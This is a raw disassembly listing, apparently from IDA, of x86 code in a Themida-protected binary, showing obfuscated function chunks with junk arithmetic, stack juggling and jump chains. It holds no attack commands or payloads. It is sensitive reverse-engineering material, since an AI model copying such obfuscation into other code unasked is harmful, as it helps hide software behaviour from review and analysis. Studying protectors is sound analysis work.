loc_5A388E:				; CODE XREF: Themida_:0059BA81j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59EA46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A38A5:				; CODE XREF: sub_595BAD+E3BCj
		add	esp, 4
		or	eax, eax
		jz	loc_594EF0
		push	dword ptr [edi+1Ch]
		push	ebx
		push	edi
		jmp	loc_598ABF
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_5A38BD:				; CODE XREF: Themida_:0059A5A8j
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 2757298Ah
		sub	dword ptr [esp+4], 7F816E8h
		jmp	loc_5A47BD
; ---------------------------------------------------------------------------


loc_5A38D6:				; CODE XREF: Themida_:005956A4j
		pop	ebx
		jmp	loc_5A344B
; ---------------------------------------------------------------------------


loc_5A38DC:				; CODE XREF: Themida_:005A131Bj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1CA110BEh
		inc	ebp
		sub	ebp, 6337752Ah
		shr	ebp, 6
		shl	ebp, 5
		inc	ebp
		add	ebp, 0A34B3243h
		add	edx, 152C3CEAh
		add	edx, ebp
		sub	edx, 152C3CEAh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	178667B7h
		pop	edi
		shr	edi, 7
		shr	edi, 2
		sub	edi, 0BC32Fh
		add	edx, 15E33B53h
		sub	edx, 5D9A591Eh
		sub	edx, edi
		add	edx, 5D9A591Eh
		sub	edx, 15E33B53h
		pop	edi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59F28A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A396C:				; CODE XREF: sub_59390B+C6CEj
		push	dx
		jmp	loc_59922A
; ---------------------------------------------------------------------------


loc_5A3973:				; CODE XREF: sub_59390B+5969j
		xchg	ecx, [esp+4+var_4]
		jmp	loc_5A2E82
; ---------------------------------------------------------------------------


loc_5A397B:				; CODE XREF: sub_59390B+764Ej
		neg	dl
		jmp	loc_5A3DD4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3982:				; CODE XREF: Themida_:00591321j
		mov	[esp], ebx
		mov	bh, 0B8h
		push	cx
		mov	cl, 80h
		or	bh, cl
		jmp	loc_59CBB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3992:				; CODE XREF: sub_59390B+109C8j
		mov	edx, 49E6195Eh
		xor	esi, edx
		pop	edx
		jmp	sub_592586
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A399F:				; CODE XREF: Themida_:005A288Aj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ch, bl
		pop	ebx
		add	ch, 85h
		xor	al, ch
		jmp	loc_5A5516
; ---------------------------------------------------------------------------


loc_5A39BC:				; CODE XREF: Themida_:005A55A0j
		sub	ebx, 2A1B7557h
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2D8D


loc_5A39D2:				; CODE XREF: sub_5A2D8D+1Bj
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		jmp	loc_596B0F
; END OF FUNCTION CHUNK	FOR sub_5A2D8D

; =============== S U B	R O U T	I N E =======================================



sub_5A39E6	proc near		; CODE XREF: sub_5995FC+7E47j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		not	byte ptr [esp+4+var_4]
		mov	edx, [esp+4+var_4]
		jmp	sub_59FCCB
sub_5A39E6	endp

; ---------------------------------------------------------------------------


loc_5A39F7:				; CODE XREF: Themida_:005992F6j
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_59F979
; ---------------------------------------------------------------------------


loc_5A3A11:				; CODE XREF: Themida_:005A16A4j
		xor	eax, 61673CFAh
		dec	eax
		jmp	loc_59F02E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3A1C:				; CODE XREF: sub_59390B+10F49j
		pop	esi
		push	ecx
		mov	ecx, 49912B47h
		add	eax, ecx
		mov	ecx, [esp-10h+arg_8]
		add	esp, 4
		xor	eax, 68634291h
		mov	edx, eax
		pop	eax
		jmp	sub_59386B
; ---------------------------------------------------------------------------


loc_5A3A38:				; CODE XREF: sub_59390B+112ECj
		pop	eax
		add	edi, esi
		add	edi, 47C45359h
		push	ecx
		push	240D412Bh
		pop	ecx
		push	edi
		mov	edi, 0
		jmp	loc_5A29BD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3A53:				; CODE XREF: Themida_:0059B061j
		mov	[esp], ebp
		mov	ebp, 7F3E7CEEh
		add	edx, ebp
		pop	ebp
		push	506Bh
		mov	[esp], eax
		jmp	loc_598E29
; ---------------------------------------------------------------------------


loc_5A3A6B:				; DATA XREF: Themida_:005907E8o
		lodsd
		xor	eax, ebx
		push	ebp
		push	esi
		jmp	loc_59F1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A3A75:				; CODE XREF: sub_594D13+FCBFj
		xor	ebp, 1D80CD6h
		jmp	loc_5A12D0
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3A80:				; CODE XREF: sub_59390B+1174Ej
		add	edi, 573B5A83h
		pop	ebx
		std
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp-14h+arg_C]
		xor	[esp-14h+arg_C], ebp
		xor	ebp, [esp-14h+arg_C]
		mov	esp, [esp-14h+arg_C]
		mov	[esp-14h+arg_C], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A35AB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A3AB1:				; CODE XREF: sub_59E918+5570j
		add	edx, ebx
		pop	ebx
		sub	edx, 0F38BB830h
		add	eax, edx
		jmp	loc_593070
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A3AC1:				; CODE XREF: sub_59A4D6-396Bj
		shl	ebp, 5
		push	esi
		mov	esi, 52BA203Ah
		xchg	edx, esi
		inc	edx
		push	esi
		push	edx
		pop	esi
		pop	edx
		jmp	loc_595139
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A3AD6:				; CODE XREF: Themida_:0059AA57j
		push	ebp
		jmp	loc_59F214
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B8C7


loc_5A3ADC:				; CODE XREF: sub_59B8C7-98EBj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_591A33
; END OF FUNCTION CHUNK	FOR sub_59B8C7
; ---------------------------------------------------------------------------


loc_5A3AF1:				; CODE XREF: Themida_:0059C110j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A194D
; ---------------------------------------------------------------------------


loc_5A3B01:				; CODE XREF: Themida_:00592992j
		add	ebp, 14250Fh
		add	ebp, edi
		push	ecx
		push	edi
		jmp	loc_591039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3B10:				; CODE XREF: sub_59390B+F444j
		push	798A2E2Dh
		pop	edx
		jmp	loc_5A1F8D
; ---------------------------------------------------------------------------


loc_5A3B1B:				; CODE XREF: sub_59390B+FCD3j
		mov	esi, 5A757F9Ch
		jmp	loc_5A0E9D
; ---------------------------------------------------------------------------


loc_5A3B25:				; CODE XREF: sub_59390B+2372j
		mov	[esp-12h+arg_8+2], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	sub_59A4D6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3B35:				; CODE XREF: Themida_:0059B47Cj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		not	dl
		dec	dl
		push	4281h
		mov	[esp], eax
		mov	al, 0FEh
		sub	dl, al
		mov	eax, [esp]
		jmp	loc_597E1D
; ---------------------------------------------------------------------------


loc_5A3B57:				; CODE XREF: Themida_:0059993Cj
		push	61B53F85h
		pop	eax
		jmp	loc_5A26E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3B62:				; CODE XREF: sub_59390B+1A65j
		pop	esp
		jmp	loc_59C2BC
; ---------------------------------------------------------------------------


loc_5A3B68:				; CODE XREF: sub_59390B+5C07j
		xor	[esp-8+arg_0], 7E8E231Bh
		pop	esi
		xor	esi, 7E8E231Bh
		jmp	loc_5A4BE8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3B7B:				; CODE XREF: Themida_:0059AC30j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		push	3214h
		mov	[esp], edi
		push	esi
		push	45D3181Ch
		jmp	loc_59FE8C
; ---------------------------------------------------------------------------


loc_5A3B9D:				; CODE XREF: Themida_:005A1434j
		push	6B96h
		mov	[esp], eax
		push	esp
		jmp	loc_5A00E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3BAB:				; CODE XREF: sub_59390B+D598j
		xor	esi, edi
		pop	edi
		and	ebx, esi
		pop	esi
		add	ebx, 0ACFFFE02h
		add	edi, ebx
		mov	ebx, [esp-8+arg_0]
		add	esp, 4
		push	8Ah
		mov	[esp-8+arg_0], ebx
		mov	ebx, 4
		sub	edi, 50730135h
		add	edi, ebx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 2591407Dh
		shr	ecx, 4
		dec	ecx
		neg	ecx
		push	edi
		mov	edi, 542C11F6h
		not	edi
		or	edi, 14052332h
		jmp	loc_59B8F9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3BF8:				; CODE XREF: Themida_:00598687j
		and	si, 6B17h
		neg	si
		and	si, 5E4Bh
		add	si, 166Ah
		sub	ax, si
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59A8FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A3C18:				; CODE XREF: sub_599AE1+8C03j
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_59A203
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5A3C23:				; CODE XREF: Themida_:005A2247j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	225Eh
		jmp	loc_5A4819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59731A


loc_5A3C37:				; CODE XREF: sub_59731A+9B5Bj
		add	[esp+0Ch+var_C], 4EB14E62h
		jmp	loc_5A4648
; END OF FUNCTION CHUNK	FOR sub_59731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_5A3C43:				; CODE XREF: sub_5A0D58+Dj
		push	edi
		mov	edi, 662A4111h
		and	ebp, edi
		pop	edi
		and	ebp, 6B067E0Fh
		add	ebp, 3C017F87h
		sub	ebp, 0F0BA0AD0h
		mov	ebx, ebp
		pop	ebp
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59F79B
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A3C69:				; CODE XREF: sub_59A75E+4446j
		mov	word ptr [esp+2+var_4+2], si
		jmp	loc_5A4439
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3C72:				; CODE XREF: sub_59390B+15D9j
		mov	ecx, esi
		pop	esi
		jmp	loc_5A055B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3C7A:				; CODE XREF: Themida_:0059D02Aj
		mov	ah, dl
		mov	ch, ah
		pop	eax
		jmp	loc_599517
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A3C84:				; CODE XREF: sub_59A431-9005j
		mov	[esp+0Ch+var_C], edi
		mov	edi, 12E962EDh
		neg	edi
		xor	edi, 2BFA6B59h
		xor	edi, 0DF8CBA83h
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 67054331h
		xor	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_59EADF
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5A3CAC:				; CODE XREF: Themida_:00595F68j
		push	edx
		mov	edx, 4EA70C89h
		mov	edi, edx
		pop	edx
		jmp	loc_59F9FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_5A3CBA:				; CODE XREF: sub_5964B7+Fj
		mov	[esp+8+var_8], esp
		push	esi
		jmp	loc_595D7D
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59A8A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3CD5:				; CODE XREF: sub_59390B+16F8j
		mov	edx, [esp-24h+arg_1C]
		add	esp, 4
		push	edx
		push	eax
		jmp	loc_59FA41
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3CE5:				; CODE XREF: Themida_:0059ED93j
		mov	bx, [esp]
		add	esp, 2
		push	3E9Eh
		jmp	loc_5A36CA
; ---------------------------------------------------------------------------


loc_5A3CF9:				; CODE XREF: Themida_:00599503j
		mov	ah, 97h
		sub	bh, ah
		jmp	loc_59E3D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A3D02:				; CODE XREF: sub_5A51EA-3C1Bj
		mov	dword ptr [esp+6+var_6], eax
		mov	ah, 98h
		sub	dl, ah
		mov	eax, dword ptr [esp+6+var_6]
		add	esp, 4
		push	ebx
		mov	bh, dl
		mov	cl, bh
		mov	ebx, dword ptr [esp+6+var_6]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	edx
		jmp	loc_59DE5A
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A3D33:				; CODE XREF: sub_594A8D+10D39j
		add	esp, 4
		push	edx
		push	ebx
		jmp	sub_59918B
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------


loc_5A3D40:				; CODE XREF: Themida_:0059351Cj
		mov	ebp, 55F205F9h
		push	ecx
		mov	ecx, 73C830D0h
		add	ebp, ecx
		jmp	loc_59A3BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3D52:				; CODE XREF: sub_59390B+8528j
		mov	al, 76h
		add	al, 5Ch
		jmp	loc_593467
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3D5B:				; CODE XREF: Themida_:0059EC9Aj
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5924F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A3D6A:				; CODE XREF: sub_59E918-D86Ej
		pop	edx
		sub	cl, bh
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	ax
		push	edx
		mov	dl, cl
		mov	ah, dl
		mov	edx, [esp+0Eh+var_10+2]
		jmp	loc_59E3C0
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_5A3D82:				; CODE XREF: Themida_:005A0C45j
		mov	cl, 0BBh
		add	cl, dl
		jmp	loc_59A7A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3D8B:				; CODE XREF: sub_59390B+F6B0j
		push	[esp-4+arg_0]
		jmp	loc_59454A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_5A3D94:				; CODE XREF: sub_59F4E7-D754j
		mov	edx, 2
		add	ecx, 46C72807h
		add	ecx, edx
		sub	ecx, 46C72807h
		mov	edx, [esp+0]
		add	esp, 4
		push	502Eh
		jmp	loc_5A35E3
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A3DBA:				; CODE XREF: sub_599AE1+3A07j
		sub	ebx, ebp
		add	ebx, 1B5783Ah
		pop	ebp
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5A3DCE:				; CODE XREF: Themida_:0059124Aj
		push	edx
		jmp	loc_59A028
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3DD4:				; CODE XREF: sub_59390B+10072j
		sub	dl, 2Ch
		sub	dl, 79h
		or	bh, dl
		pop	edx
		sub	bh, 44h
		push	eax
		mov	al, 1Ah
		and	bh, al
		jmp	loc_59DB0E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3DEA:				; CODE XREF: Themida_:0059A734j
		xor	edx, eax
		jmp	loc_59554C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5A3DF1:				; CODE XREF: sub_5932F7+16B4j
		push	edx
		mov	edx, 0EF14CBE3h
		xor	ebx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59AFE3
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3E07:				; CODE XREF: sub_59390B+9E47j
		push	[esp-0Ch+arg_4]
		push	[esp-8+arg_0]
		pop	eax
		jmp	loc_5A3ED5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3E13:				; CODE XREF: Themida_:0059C49Fj
		mov	[esp], cx
		jmp	loc_591DDB
; ---------------------------------------------------------------------------


loc_5A3E1C:				; CODE XREF: Themida_:005A5B89j
		pop	ecx
		mov	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_598185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5971C0


loc_5A3E2A:				; CODE XREF: sub_5971C0+5FDDj
		pop	eax
		jmp	loc_5A21B1
; END OF FUNCTION CHUNK	FOR sub_5971C0
; ---------------------------------------------------------------------------


loc_5A3E30:				; CODE XREF: Themida_:005A1AF4j
		add	edx, 6B937D0Eh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_596BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3E43:				; CODE XREF: sub_59390B+BD2Bj
		sub	al, bl
		jmp	loc_594D1E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A3E4A:				; CODE XREF: sub_59FD45-4114j
		xor	eax, ebp
		jmp	loc_590CED
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917E1


loc_5A3E51:				; CODE XREF: sub_5917E1+16j
		sub	edi, 2
		xor	edi, [esp+0]
		xor	[esp+0], edi
		jmp	loc_59C9C9
; END OF FUNCTION CHUNK	FOR sub_5917E1
; ---------------------------------------------------------------------------


loc_5A3E5F:				; CODE XREF: Themida_:005A0487j
		pop	esp
		add	esp, 4
		sub	edx, eax
		push	eax
		mov	eax, 57BE2E96h
		add	edx, 5F2A76BEh
		jmp	loc_5963AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A3E76:				; CODE XREF: sub_59918B+16A8j
		mov	edx, [esp-4+arg_0]
		push	ebp
		jmp	loc_5A25BF
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A3E7F:				; CODE XREF: sub_59E918+1727j
		add	esi, 59CAD012h
		mov	ebx, esi
		pop	esi
		jmp	loc_5A3AB1
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DC9E


loc_5A3E8D:				; CODE XREF: sub_59DC9E+1D84j
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		push	ebx
		mov	ebx, 8613A36h
		mov	eax, ebx
		pop	ebx
		add	eax, 25A41CF7h
		sub	eax, edi
		jmp	loc_596E23
; END OF FUNCTION CHUNK	FOR sub_59DC9E
; ---------------------------------------------------------------------------


loc_5A3EB2:				; CODE XREF: Themida_:0059A1C0j
		push	eax
		mov	eax, 74B55F7h
		dec	eax
		xor	eax, 767904D6h
		add	ecx, 7AB37672h
		push	esi
		jmp	loc_5A2613
; ---------------------------------------------------------------------------


loc_5A3ECA:				; CODE XREF: Themida_:005912F8j
		add	edx, 4
		jmp	loc_5A1A9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3ED5:				; CODE XREF: sub_59390B+10503j
		add	esp, 4
		push	2CBDh
		mov	[esp-8+arg_0], ebx
		push	esp
		mov	ebx, [esp+0]
		push	ebp
		push	esp
		jmp	loc_5961EA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A3EEE:				; CODE XREF: sub_599AE1-3ABAj
		push	eax
		xor	[esp+0Ch+var_C], 20C624A6h
		jmp	loc_5A1FB8
; END OF FUNCTION CHUNK	FOR sub_599AE1

; =============== S U B	R O U T	I N E =======================================



sub_5A3EFB	proc near		; CODE XREF: sub_59390B-2A11j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00591C17 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593900 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005990FE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059988E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059A17A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A24FC SIZE 00000028 BYTES

		sub	esp, 4
		mov	[esp+0], ebp
		push	ecx
		jmp	loc_591C17
sub_5A3EFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A3F07:				; CODE XREF: Themida_:0059704Aj
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, 7A91F54h
		sub	eax, 1A4C23E9h
		sub	eax, 41AC6F06h
		add	eax, edx
		add	eax, 41AC6F06h
		jmp	loc_592A99
; ---------------------------------------------------------------------------


loc_5A3F2D:				; CODE XREF: Themida_:005A4CB6j
		mov	ebx, 0F123F34h
		jmp	loc_5927DA
; ---------------------------------------------------------------------------


loc_5A3F37:				; CODE XREF: Themida_:005A0113j
		mov	edx, 53825B79h
		inc	edx
		shl	edx, 3
		shl	edx, 5
		add	edx, 1
		dec	edx
		jmp	loc_597F82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3F4C:				; CODE XREF: sub_59390B-EAFj
		sub	bl, dh
		jmp	loc_59D27C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3F53:				; CODE XREF: Themida_:0059B7F1j
		xchg	edi, [esp]
		jmp	loc_59E103
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_5A3F5B:				; CODE XREF: sub_590AC5+10337j
		mov	esp, [esp-8+arg_4]
		jmp	loc_59C450
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A3F63:				; CODE XREF: sub_595BAD-360j
		and	eax, ebx
		push	[esp-4+arg_0]
		pop	ebx
		jmp	loc_5A38A5
; END OF FUNCTION CHUNK	FOR sub_595BAD

; =============== S U B	R O U T	I N E =======================================



sub_5A3F6E	proc near		; DATA XREF: Themida_:005909F8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00591E36 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005921EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594A4C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596692 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059C316 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059E8E5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F6CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1B3A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1C89 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A37BF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A574A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A58AC SIZE 00000012 BYTES

		push	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_59E8E5
sub_5A3F6E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5A3F83:				; CODE XREF: sub_591FC5+B0C2j
		xor	ah, dh
		jmp	loc_59B720
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_5A3F8A:				; CODE XREF: Themida_:005919A4j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_592056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_5A3FA7:				; CODE XREF: sub_590BDF+12A3Cj
		pop	edi
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		jmp	loc_598613
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3FB4:				; CODE XREF: sub_59390B+C90Cj
		add	ebp, 4
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_59FBDB
; ---------------------------------------------------------------------------


loc_5A3FC8:				; CODE XREF: sub_59390B+11C45j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_597542
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3FDB:				; CODE XREF: Themida_:00591034j
		shl	esi, 8
		jmp	loc_592CF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A3FE3:				; CODE XREF: sub_59390B+ACF2j
		push	edx
		mov	edx, 21CC43B3h
		jmp	loc_591F20
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A3FEE:				; CODE XREF: Themida_:0059F07Cj
		push	658E0D78h
		pop	eax
		push	edi
		push	esi
		mov	esi, 4E0E5074h
		shl	esi, 8
		sub	esi, 3FFA08A1h
		shl	esi, 1
		neg	esi
		and	esi, 678F1E30h
		jmp	loc_597E49
; ---------------------------------------------------------------------------


loc_5A4013:				; CODE XREF: Themida_:005A3676j
		mov	ebp, esp
		jmp	loc_59AB1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A401A:				; CODE XREF: sub_59CFD4-17AAj
		add	[esp+0Ch+var_4], eax
		pop	eax
		jmp	loc_59CEA0
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_5A4024:				; CODE XREF: sub_59D1FC-2FFEj
		pop	esp
		mov	[esp+0], ebx
		jmp	loc_5A18CE
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------


loc_5A402D:				; CODE XREF: Themida_:005A28DEj
		add	edi, 2
		jmp	loc_59704F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D29C


loc_5A4035:				; CODE XREF: sub_59D29C+9j
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		add	esp, 4
		jmp	loc_590A9B
